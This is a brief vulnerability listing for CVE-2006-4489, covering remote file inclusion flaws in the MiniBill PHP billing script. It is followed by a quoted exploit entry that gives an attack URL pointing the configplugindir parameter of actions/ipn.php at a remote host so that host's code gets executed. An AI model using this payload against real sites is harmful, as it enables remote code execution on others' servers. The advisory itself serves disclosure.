CVE-2006-4489: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in MiniBill 2006-07-14 1.2.2 allow remote attackers to execute arbitrary PHP code via 1 a URL in the configincludedir parameter in actions/ipn.php or 2 an FTP path in the configplugindir parameter in include/initPlugins.php...

MiniBill 1.22b - config[plugin_dir] Remote File Inclusion

MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...